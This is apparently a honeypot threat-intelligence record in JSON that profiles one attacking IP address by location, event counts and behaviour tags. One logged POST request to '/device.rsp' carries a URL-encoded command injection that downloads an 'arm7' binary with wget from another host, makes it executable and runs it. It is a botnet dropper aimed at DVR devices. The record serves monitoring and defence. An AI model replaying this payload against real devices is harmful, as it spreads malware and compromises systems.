{"ip":"45.198.224.89","first_seen":"2026-10-14T11:02:50.051Z","last_seen":"2026-10-14T11:02:50.112Z","geo":{"country":"Sweden","country_code":"SE","city":"Stockholm","asn":"AS215925 VPSVAULT.HOST LTD","isp":"VPSVAULT.HOST LTD","lat":59.3293,"lon":18.0686},"stats":{"total_events":2,"ssh_events":0,"http_events":2,"ssh_failures":0,"http_4xx":2,"http_5xx":0,"distinct_usernames":0,"distinct_paths":2,"distinct_source_hosts":1},"behavior_tags":["asn.coordinated","subnet.coordinated"],"event_tags":["client.empty-ua","client.outdated","protocol.no-accept","protocol.no-language"],"recent_events":[{"ts":"2026-10-14T11:02:50.112Z","source":"http","category":"request","severity":"warn","method":"POST","uri":"/device.rsp?opt=sys\u0026cmd=___S_O_S_T_R_E_A_MAX___\u0026mdb=sos\u0026mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F45.198.224.158%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20multi.tbk","status":404,"host_app":"54.144.12.123:80","source_host":"aws-use1","tags":["client.outdated"]},{"ts":"2026-10-14T11:02:50.051Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/","status":404,"host_app":"54.144.12.123:80","source_host":"aws-use1","tags":["client.empty-ua","protocol.no-accept","protocol.no-language"]}],"generated_at":"2026-10-25T02:14:06.70352324Z"}